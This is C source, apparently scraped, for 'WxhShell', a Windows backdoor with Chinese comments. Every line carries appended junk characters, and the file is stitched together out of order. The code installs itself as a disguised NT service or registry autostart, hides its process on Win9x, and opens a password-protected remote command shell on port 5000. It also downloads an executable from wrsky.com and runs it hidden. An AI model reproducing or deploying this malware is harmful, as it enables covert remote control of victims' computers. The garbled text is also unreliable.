DWORD BasePriority; ^O:RS
g9
ULONG UniqueProcessId; s"F,=]HQ!G
ULONG InheritedFromUniqueProcessId; oqo8{hrdHk
} PROCESS_BASIC_INFORMATION; )4~XZt1r
Jpnp'
PROCNTQSIP NtQueryInformationProcess; Y k6WSurw
RXvcy<
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H$iMP.AK
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \/%Q PE8
u}0t`w:
HANDLE hProcess; xW )8mv?4n
PROCESS_BASIC_INFORMATION pbi; `fVA.%
-*j;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BeCr){,3
if(NULL == hInst ) return 0; ]= D
*4\ub:9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^w}Ib']X
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o"CqVRR
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yf>,oNIAg
1@@]h!>k:
if (!NtQueryInformationProcess) return 0; g+{MvSj$
?UIb!k>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1:V/['|*g)
if(!hProcess) return 0; 6UP3Ij
hrxASAfg6
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5S?Xl|8E
Ek\Zi#f<
CloseHandle(hProcess); w5R9\<3L
YWd(xm"4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ase 1 R=0
if(hProcess==NULL) return 0; ECfY~qK
Ok"wec+,
HMODULE hMod; 9uo\&,,
char procName[255]; 8u23@?
unsigned long cbNeeded; imuHSxcaV
$S=OmdgR
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TQfY%GKg(
"K]4j]yU
CloseHandle(hProcess); E_*T0&P.P
aMD?^
if(strstr(procName,"services")) return 1; // 以服务启动 $(hZw
}Q*ec/^{f
return 0; // 注册表启动 D^4V"rq
} t*$@QO
v0pEN\
// 主模块 n6dg
int StartWxhshell(LPSTR lpCmdLine) \Bf{/r5x
{ ON^u|*kO
SOCKET wsl; {GY$J<5=
BOOL val=TRUE; RAa1KOxZX
int port=0; -#hl&^u$
struct sockaddr_in door; d@~)Wlje
}?$Mh)
if(wscfg.ws_autoins) Install(); A-5%_M3\G
#wcoLCjs)
port=atoi(lpCmdLine); {K}+$jzGVt
Yi,um-%
if(port<=0) port=wscfg.ws_port; X13bi}O6#
]z$<6+G
WSADATA data; +d.Bf
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r4'Pf|`u
T~d';P
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Z%{2/mQ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ' 1IH^<b
door.sin_family = AF_INET; i;7jJ(#V
door.sin_addr.s_addr = inet_addr("127.0.0.1"); l$NEx0Dffz
door.sin_port = htons(port); e;v2`2z2
{643Dz<e
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qyC"}y-
closesocket(wsl); [ ff.R
return 1; jKs8i$q
} C8-q<t#SF
L T!X|O.
if(listen(wsl,2) == INVALID_SOCKET) { p^3d1H3
closesocket(wsl); 5^i ^?
return 1; P^r8JhDJ
} q1j[eru
Wxhshell(wsl); a$-ax[:\sm
WSACleanup(); _t7A'`Dh]
g.qp _O
return 0; hHQt4 r'd
#=c%:{O{4R
} \qPrY.-
\(s";@
// 以NT服务方式启动 3Hr%G4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IbC)F> Dq
{ Nsy.!,!c
DWORD status = 0; bjZ?WZr
DWORD specificError = 0xfffffff; Ea1>]V
[o "@*kf
serviceStatus.dwServiceType = SERVICE_WIN32; q}lSnWY[[
serviceStatus.dwCurrentState = SERVICE_START_PENDING; HvU)GJ u b
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yCVBG
serviceStatus.dwWin32ExitCode = 0; : nn'>
serviceStatus.dwServiceSpecificExitCode = 0; xMu6PM<l
serviceStatus.dwCheckPoint = 0; -`JY] H
serviceStatus.dwWaitHint = 0; N_U
D7P1
7(-<x@ e
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?M);wBe(
if (hServiceStatusHandle==0) return; -b<+Ra
1{qg@xlj
status = GetLastError(); Y2fs$emv
if (status!=NO_ERROR) A}o1I1+
{ "=)`*"rr
serviceStatus.dwCurrentState = SERVICE_STOPPED; >jm9x1+C
serviceStatus.dwCheckPoint = 0; qIl@,8T
serviceStatus.dwWaitHint = 0; n$8A"'.M
serviceStatus.dwWin32ExitCode = status; ] N8V?.|:
serviceStatus.dwServiceSpecificExitCode = specificError; >ZT3gp?E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uFgw eOJ
return; %$Uw]a
} 'DPSM?]fA
F~6[DqF\|
serviceStatus.dwCurrentState = SERVICE_RUNNING; W0Vjs|/
serviceStatus.dwCheckPoint = 0; 78kk"9h'
serviceStatus.dwWaitHint = 0; X|:O`b$G
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C.|MA(7
} L!5HE])<)
:\Dm=Q\
// 处理NT服务事件,比如:启动、停止 ;%&@^;@k%
VOID WINAPI NTServiceHandler(DWORD fdwControl) f#?R!pR
{ k 'o?/
switch(fdwControl) `Bx CTwc
{ 4R.#=]F
case SERVICE_CONTROL_STOP: )!Bv8&;e
serviceStatus.dwWin32ExitCode = 0; 2zAS
\Y
serviceStatus.dwCurrentState = SERVICE_STOPPED; lEJTd3dMi
serviceStatus.dwCheckPoint = 0; 3UEh%Ho
serviceStatus.dwWaitHint = 0;
eL*Edl|#
{ QCMF_;aNI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $t^`Pt*:u
} '-et:Lv7
return; ]#;JPO#*
case SERVICE_CONTROL_PAUSE: ;)*Drk*t,
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4^
A\w
break; H~&'`h1
case SERVICE_CONTROL_CONTINUE: !^%b|=[
serviceStatus.dwCurrentState = SERVICE_RUNNING; %%#zO
Z
break; 5E]I
case SERVICE_CONTROL_INTERROGATE: %NuS!v>
break; Sn0 Gw
}; UCFef,VW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fu/v1~X
} [>fE{~Y
iqpy5
// 标准应用程序主函数 gs'(px
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "{}5uth
{ 2Ig.hnHj
ZCa?uzeo]
// 获取操作系统版本 sBh|y F,
OsIsNt=GetOsVer(); /h;X1Htx}
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?6|EAKJ`lK
SI\zW[IL
// 从命令行安装 9
HuE'(wQ
if(strpbrk(lpCmdLine,"iI")) Install(); MQAb8 K:e
Ood&cP'c
// 下载执行文件 #u>JCPz
if(wscfg.ws_downexe) { k&^f Iz
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) crUXpD
WinExec(wscfg.ws_filenam,SW_HIDE); dS-l2 $n
} 2Tp.S3
~<aCn-h0
if(!OsIsNt) { a`}HFHm\2,
// 如果时win9x,隐藏进程并且设置为注册表启动 : )&_
HideProc(); FXIQS'
StartWxhshell(lpCmdLine); ^
`!6Yax?
} 5 gE
else oY &r76
if(StartFromService()) AV?*r-vWL.
// 以服务方式启动 \JX8`]|&
StartServiceCtrlDispatcher(DispatchTable); PR6{Y]e%
else {min9
// 普通方式启动 MD&Ebq5V
StartWxhshell(lpCmdLine); 4:7z9h]
tjGQ0-Lo
return 0; E[
,Ur`>:
} \D0Pik@?
S%'t
)tt,
s iC/k*
9R!.U\sq
=========================================== WVKzh
Pr" 2d\
B?k75G
\
^_3Yw
YS&3+Tp
74>.E^/x
" ' y1=Z
f>dWl$/_s
#include <stdio.h> 7JjTm^bu
#include <string.h> mIt=r_
#include <windows.h> YOqBIbp~&)
#include <winsock2.h> !-[e$?-
#include <winsvc.h>
Rb?6N
#include <urlmon.h> 8^2Q ~{i
Xfe,ZC)
#pragma comment (lib, "Ws2_32.lib") hH>t
#pragma comment (lib, "urlmon.lib") wTG6>l ]H
x5s Yo\
#define MAX_USER 100 // 最大客户端连接数 P)4SrqW_
#define BUF_SOCK 200 // sock buffer b:oB $E
#define KEY_BUFF 255 // 输入 buffer gWRSS=8%
>Qr(#Bt)
#define REBOOT 0 // 重启 (Zp'|hx8o
#define SHUTDOWN 1 // 关机 Fq:BRgCE
S'q (Qo
#define DEF_PORT 5000 // 监听端口 0I1bY]*
E`$d!7O
#define REG_LEN 16 // 注册表键长度 =98@MX%P
#define SVC_LEN 80 // NT服务名长度 [+UF]m%W
|-bAzt
// 从dll定义API <a; <|Fm.
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~'n3],o?
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f/aSqhAW
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U2seD5I
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xwq {0jY
/g@!#Dt
// wxhshell配置信息 i.Yz)Bw
struct WSCFG { _3.=| @L
int ws_port; // 监听端口 \G:\36l
char ws_passstr[REG_LEN]; // 口令 *bsS%qD]
int ws_autoins; // 安装标记, 1=yes 0=no (X;D.s
char ws_regname[REG_LEN]; // 注册表键名 s:CsUl |
char ws_svcname[REG_LEN]; // 服务名 MqRpG5 .
char ws_svcdisp[SVC_LEN]; // 服务显示名 Ny\p$v
"p
char ws_svcdesc[SVC_LEN]; // 服务描述信息 G[GSt`LVS`
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X)P9f N~7
int ws_downexe; // 下载执行标记, 1=yes 0=no qf#Ou
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I'm.+(1m,
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WZ>
}
Dm2&}{&K
}; p@ 0Va
iLD}>=
// default Wxhshell configuration 7Rwn{]r
struct WSCFG wscfg={DEF_PORT, F[5[@y
"xuhuanlingzhe", eT0Yp
1, c"~+Y2]tL
"Wxhshell", J4EQhuQ
"Wxhshell", Bu$Z+o
"WxhShell Service", S}WQ~e
"Wrsky Windows CmdShell Service", jInI%
"Please Input Your Password: ", yz.a Z
1, 8R0Q -,'
"http://www.wrsky.com/wxhshell.exe", >|IUjv2L
"Wxhshell.exe" >NDI<9<'0}
}; Gf*|f"O
hj[&.w
// 消息定义模块 u 6A!Sw
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j\@Ht~G
char *msg_ws_prompt="\n\r? for help\n\r#>"; k/srT<
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _P,3~ ;
char *msg_ws_ext="\n\rExit."; AUBZ7*VO
char *msg_ws_end="\n\rQuit."; j
S~Wcu
char *msg_ws_boot="\n\rReboot..."; }&!fT\4
char *msg_ws_poff="\n\rShutdown..."; -k(bM:
char *msg_ws_down="\n\rSave to "; 7XrXx:*a5
\\}tD@V"
char *msg_ws_err="\n\rErr!"; d|I?%LX0p
char *msg_ws_ok="\n\rOK!"; kzozjh%`9h
"h58I)O
char ExeFile[MAX_PATH]; |T3F:],`
int nUser = 0; m%7T ~
HANDLE handles[MAX_USER]; I8M^]+c
int OsIsNt; ;XAj/6pm
20h+^R3{Z
SERVICE_STATUS serviceStatus; II;
SERVICE_STATUS_HANDLE hServiceStatusHandle; NFsj
~6F#
!Z(3dtUy
// 函数声明 L{&5Ets
int Install(void); O7,)#{
int Uninstall(void); &